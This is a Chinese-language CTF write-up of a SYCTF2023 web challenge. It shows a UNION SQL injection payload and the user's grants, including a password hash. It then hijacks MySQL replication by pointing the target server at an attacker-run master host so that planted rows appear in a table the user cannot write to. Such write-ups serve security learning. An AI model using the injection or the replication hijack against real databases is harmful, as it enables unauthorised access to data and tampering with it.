Mysql 主从复制的模板题,以及一些需要注意的地方
复现了一波 SYCTF2023,算是我见到的比较有新意的题目之一,至少不是纯牛马套娃题
首先我们可以通过注入把表中的信息注出来,得到一个 URL
http://<URL>?myname=123'union select group_concat(username) from name;--+
观察挑战可知,需要往 game 里面写数据
<!-- 机器人的游戏策略:for($i=1;$i<=10;$i++){ $choice="SELECT choice FROM `game` WHERE round='$i'"; }-->
show databases 和 show tables 后尝试 insert 未成功
查询当前用户
select current_user() #array(1) { [0]=> array(1) { [0]=> string(16) "secret@localhost" } }
查询当前用户权限,没有 insert 权限难怪无法插入
SHOW GRANTS FOR secret@localhost; #array(1) { [0]=> array(1) { [0]=> string(197) "GRANT SELECT, RELOAD, PROCESS, SUPER, REPLICATION SLAVE, REPLICATION CLIENT, SHOW VIEW, CREATE USER ON *.* TO 'secret'@'localhost' IDENTIFIED BY PASSWORD '*C4809B442CD41D91C25BAEA070D00FF39A87190D'" } }
但是看到有主从复制权限 REPLICATION SLAVE, REPLICATION CLIENT,考虑进行主从复制
在 master 创建一个数据库
嫌麻烦直接将 game_data 设置为全权限
并且设置仅同步 game_data 防止出现其他信息,重载配置
查询 game 的表结构
desc game; /* array(2) { [0]=> array(6) { [0]=> string(5) "round" [1]=> string(8) "int(255)" [2]=> string(2) "NO" [3]=> string(0) "" [4]=> NULL [5]=> string(0) "" } [1]=> array(6) { [0]=> string(6) "choice" [1]=> string(12) "varchar(256)" [2]=> string(2) "NO" [3]=> string(0) "" [4]=> NULL [5]=> string(0) "" } } */
在 master 中创建相同的表
CREATE TABLE IF NOT EXISTS `game` ( `round` int(255) NOT NULL, `choice` varchar(256) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
然后我们需要找到 relay 日志的文件名和偏移量方便文件重构
show master status #master_log_file = mysql-bin.000221 #master_log_pos = 63695
在开始主从同步之前要先停止,踩坑(对应的日志和偏移量要修改)
stop slave; change master to master_host='<YOUR_IP>',master_port=3306,master_user='game_data',master_password='game_data',master_log_file='mysql-bin.000221',master_log_pos=63695; start slave; show slave status;
这里有个细节要判断 11,12 这两个数据是否为 YES 才是正确主从同步,之前总是 ERROR
array(1) { [0]=> array(53) { [0]=> string(23) "Checking master version" [1]=> string(14) "<YOUR_IP>" [2]=> string(9) "game_data" [3]=> string(4) "3306" [4]=> string(2) "60" [5]=> string(16) "mysql-bin.000221" [6]=> string(5) "63695" [7]=> string(52) "web-pursue0h-robot-7d84b6c5cc794d45-relay-bin.000001" [8]=> string(1) "4" [9]=> string(16) "mysql-bin.000221" [10]=> string(9) "Preparing" [11]=> string(3) "Yes" [12]=> string(0) "" [13]=> string(0) "" [14]=> string(0) "" [15]=> string(0) "" [16]=> string(0) "" [17]=> string(0) "" [18]=> string(1) "0" [19]=> string(0) "" [20]=> string(1) "0" [21]=> string(5) "63695" [22]=> string(3) "256" [23]=> string(4) "None" [24]=> string(0) "" [25]=> string(1) "0" [26]=> string(2) "No" [27]=> string(0) "" [28]=> string(0) "" [29]=> string(0) "" [30]=> string(0) "" [31]=> string(0) "" [32]=> NULL [33]=> string(2) "No" [34]=> string(1) "0" [35]=> string(0) "" [36]=> string(1) "0" [37]=> string(0) "" [38]=> string(0) "" [39]=> string(1) "1" [40]=> string(0) "" [41]=> string(0) "" [42]=> string(2) "No" [43]=> string(0) "" [44]=> string(0) "" [45]=> string(0) "" [46]=> string(12) "conservative" [47]=> string(1) "0" [48]=> NULL [49]=> string(75) "Slave has read all relay log; waiting for the slave I/O thread to update it" [50]=> string(1) "0" [51]=> string(1) "0" [52]=> string(1) "0" } }
在等待 IO 时迅速插入数据,不然就要等下一次 IO 好久的(
INSERT INTO `game` (`round`, `choice`) VALUES (1, 'R'),(2, 'R'),(3, 'R'),(4, 'R'),(5, 'R'),(6, 'R'),(7, 'R'),(8, 'R'),(9, 'R'),(10, 'R');
等一段时间查询
select * from game
已经有数据了,直接出拳!
得到 FLAG